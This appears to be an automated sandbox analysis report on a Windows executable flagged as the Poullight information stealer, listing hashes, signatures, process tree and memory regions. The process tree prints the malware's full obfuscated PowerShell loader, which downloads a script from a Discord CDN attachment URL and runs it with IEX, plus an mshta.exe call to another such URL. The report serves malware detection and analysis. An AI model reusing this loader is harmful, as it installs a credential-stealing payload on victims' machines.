Analysis
-
max time kernel
151s -
max time network
154s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
16-08-2021 16:18
Static task
static1
Behavioral task
behavioral1
Sample
eufive_20210816-144801.exe
Resource
win7v20210410
General
-
Target
eufive_20210816-144801.exe
-
Size
482KB
-
MD5
5ba895fb23729ffbb001e5dfe74aa132
-
SHA1
7a2b094329f369ff5a67971c3a71c46775e93000
-
SHA256
7fc66f244e022341520c4af91172ec3833c36b95624ee5c510086cd8d71db7ae
-
SHA512
34ad4a38eb4983018e1c626550378ef4622be2fb02b74d1bacf9155cc835fb838a092c53b5b46e1ee45eac4ba13e723e661bb5e969480a56d2839d14d79c8cde
Malware Config
Extracted
https://cdn.discordapp.com/attachments/875404916150116402/875405053467459594/Minutes.txt
Signatures
-
Poullight Stealer Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/836-74-0x0000000000400000-0x0000000000420000-memory.dmp family_poullight behavioral1/memory/836-75-0x000000000041A94E-mapping.dmp family_poullight behavioral1/memory/836-76-0x0000000000400000-0x0000000000420000-memory.dmp family_poullight -
Blocklisted process makes network request 3 IoCs
Processes:
mshta.exepowershell.exeflow pid process 7 2036 mshta.exe 9 2036 mshta.exe 10 288 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 288 set thread context of 836 288 powershell.exe aspnet_compiler.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exeaspnet_compiler.exepid process 288 powershell.exe 288 powershell.exe 836 aspnet_compiler.exe 836 aspnet_compiler.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeaspnet_compiler.exedescription pid process Token: SeDebugPrivilege 288 powershell.exe Token: SeDebugPrivilege 836 aspnet_compiler.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
eufive_20210816-144801.exemshta.exepowershell.exedescription pid process target process PID 752 wrote to memory of 2036 752 eufive_20210816-144801.exe mshta.exe PID 752 wrote to memory of 2036 752 eufive_20210816-144801.exe mshta.exe PID 752 wrote to memory of 2036 752 eufive_20210816-144801.exe mshta.exe PID 2036 wrote to memory of 288 2036 mshta.exe powershell.exe PID 2036 wrote to memory of 288 2036 mshta.exe powershell.exe PID 2036 wrote to memory of 288 2036 mshta.exe powershell.exe PID 288 wrote to memory of 836 288 powershell.exe aspnet_compiler.exe PID 288 wrote to memory of 836 288 powershell.exe aspnet_compiler.exe PID 288 wrote to memory of 836 288 powershell.exe aspnet_compiler.exe PID 288 wrote to memory of 836 288 powershell.exe aspnet_compiler.exe PID 288 wrote to memory of 836 288 powershell.exe aspnet_compiler.exe PID 288 wrote to memory of 836 288 powershell.exe aspnet_compiler.exe PID 288 wrote to memory of 836 288 powershell.exe aspnet_compiler.exe PID 288 wrote to memory of 836 288 powershell.exe aspnet_compiler.exe PID 288 wrote to memory of 836 288 powershell.exe aspnet_compiler.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\eufive_20210816-144801.exe"C:\Users\Admin\AppData\Local\Temp\eufive_20210816-144801.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://cdn.discordapp.com/attachments/875404916150116402/875405147503751198/Sekonds.txt2⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://cdn.discordapp.com/attachments/875404916150116402/875405053467459594/Minutes.txt';$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFBBBBBBBBBBBBBBHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('BBBBBBBBBBBBBBHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S');$ERTTDYFYUGUYTREZRTFYGKUFDSS45HD6F7GK=&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/288-69-0x0000000002610000-0x0000000002611000-memory.dmpFilesize
4KB
-
memory/288-65-0x00000000023A0000-0x00000000023A1000-memory.dmpFilesize
4KB
-
memory/288-73-0x0000000002490000-0x000000000249E000-memory.dmpFilesize
56KB
-
memory/288-64-0x000007FEFBDC1000-0x000007FEFBDC3000-memory.dmpFilesize
8KB
-
memory/288-70-0x0000000002300000-0x0000000002301000-memory.dmpFilesize
4KB
-
memory/288-66-0x000000001ABF0000-0x000000001ABF1000-memory.dmpFilesize
4KB
-
memory/288-67-0x000000001AB70000-0x000000001AB72000-memory.dmpFilesize
8KB
-
memory/288-71-0x000000001B710000-0x000000001B711000-memory.dmpFilesize
4KB
-
memory/288-63-0x0000000000000000-mapping.dmp
-
memory/288-72-0x000000001C640000-0x000000001C641000-memory.dmpFilesize
4KB
-
memory/288-68-0x000000001AB74000-0x000000001AB76000-memory.dmpFilesize
8KB
-
memory/752-60-0x00000000002E0000-0x00000000002E1000-memory.dmpFilesize
4KB
-
memory/836-74-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/836-75-0x000000000041A94E-mapping.dmp
-
memory/836-76-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/836-78-0x0000000004D80000-0x0000000004D81000-memory.dmpFilesize
4KB
-
memory/2036-62-0x0000000000000000-mapping.dmp